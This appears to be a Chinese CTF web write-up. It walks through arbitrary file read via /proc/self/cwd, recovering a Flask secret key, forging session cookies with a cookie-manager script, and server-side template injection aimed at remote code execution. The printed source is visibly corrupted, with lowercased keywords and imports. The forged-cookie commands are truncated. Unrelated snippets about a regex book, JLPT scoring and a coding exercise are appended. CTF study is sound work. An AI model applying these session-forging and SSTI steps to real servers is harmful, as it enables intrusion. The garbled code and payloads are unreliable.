爆出**目錄,flag沒許可權可以讀
試下讀/proc
python 的任意檔案讀取
由於不知道server.py的路徑
可以用/proc/self/cwd來代表路徑跳轉到當前目錄
讀到原始碼
做一下處理
import html
python=
'''import os
from flask import ( flask, render_template, request, url_for, redirect, session, render_template_string )
from flask_session import session
execfile('flag.py')
execfile('key.py')
flag = flag
def n1page():
if request.method != "post":
return redirect(url_for("index"))
n1code = request.form.get("n1code") or none
if n1code is not none:
n1code = n1code.replace(".", "").replace("_", "").replace("","")
if "n1code" not in session or session['n1code'] is none:
session['n1code'] = n1code
template = none
if session['n1code'] is not none:
template = ''' hello : %s, why you don't look at our article?
''' % session['n1code']
session['n1code'] = none
return render_template_string(template)
def index():
return render_template("main.html")
def article():
error = 0
if 'name' in request.args:
page = request.args.get('name')
else:
page = 'article'
if page.find('flag')>=0:
page = 'notallowed.txt'
try:
template = open('/home/nu11111111l/articles/{}'.format(page)).read()
except exception as e:
template = e
return render_template('article.html', template=template)
if __name__ == "__main__":
'''print
(html.unescape(python)
)
得到原始碼
可以發現這邊進行了render_template_string(),而這個函式正是模板注入的源頭
後面傳的是session
因此需要偽造session來達到ssti模板注入
先解一下session
接著偽造session
找secretkey
用上面那個指令碼處理下
drmhze6epcv0fn_81bj-na
然後偽造
用python3
利用file類任意讀取檔案
任意讀取檔案
}或者直接
python3 flask_session_cookie_manager3.py encode -s "drmhze6epcv0fn_81bj-na" -t "}'}"
看看怎麼rce
直接用
python3 flask_session_cookie_manager3.py encode -s "drmhze6epcv0fn_81bj-na" -t "}'}"
book 正規表示式從入門到精通
感覺正則能力太差了,每天花乙個小時看看咯。匹配單個字元,匹配多個字元 search 比如 對輸入字串進行測試,看該字串是否存在乙個 號碼或者乙個信用卡號模式。稱為 資料有效性驗證。replace 標識 文件中特定文字,將其全部替換或者刪除。對乙個正規表示式模式 或者 部分模式 兩邊新增圓括號,將導致...
n1 N1考試如何估分?
又到了準備jlpt 日本語能力試験 考試的日子。每次看到眾多日語學習者懷著惴惴不安的心情前往考場考試,3個小時的鏖戰之後,拖著疲憊的身體出來,還要再找各種 來估一下分,再被狠狠打擊一次。我就會想 真是殘忍的一天。當我認真的研究了日本語能力測試的評分方法後,我一直這麼想。為什麼要去估分呢?明明沒有一家...
25 語言入門 25 n 1位數
描述 已知w是乙個大於10但不大於1000000的無符號整數,若w是n n 2 位的整數,則求出w的後n 1位的數。輸入 第一行為m,表示測試資料組數。接下來m行,每行包含乙個測試資料。輸出 輸出m行,每行為對應行的n 1位數 忽略字首0 如果除了最高位外,其餘位都為0,則輸出0。樣例輸入 4 10...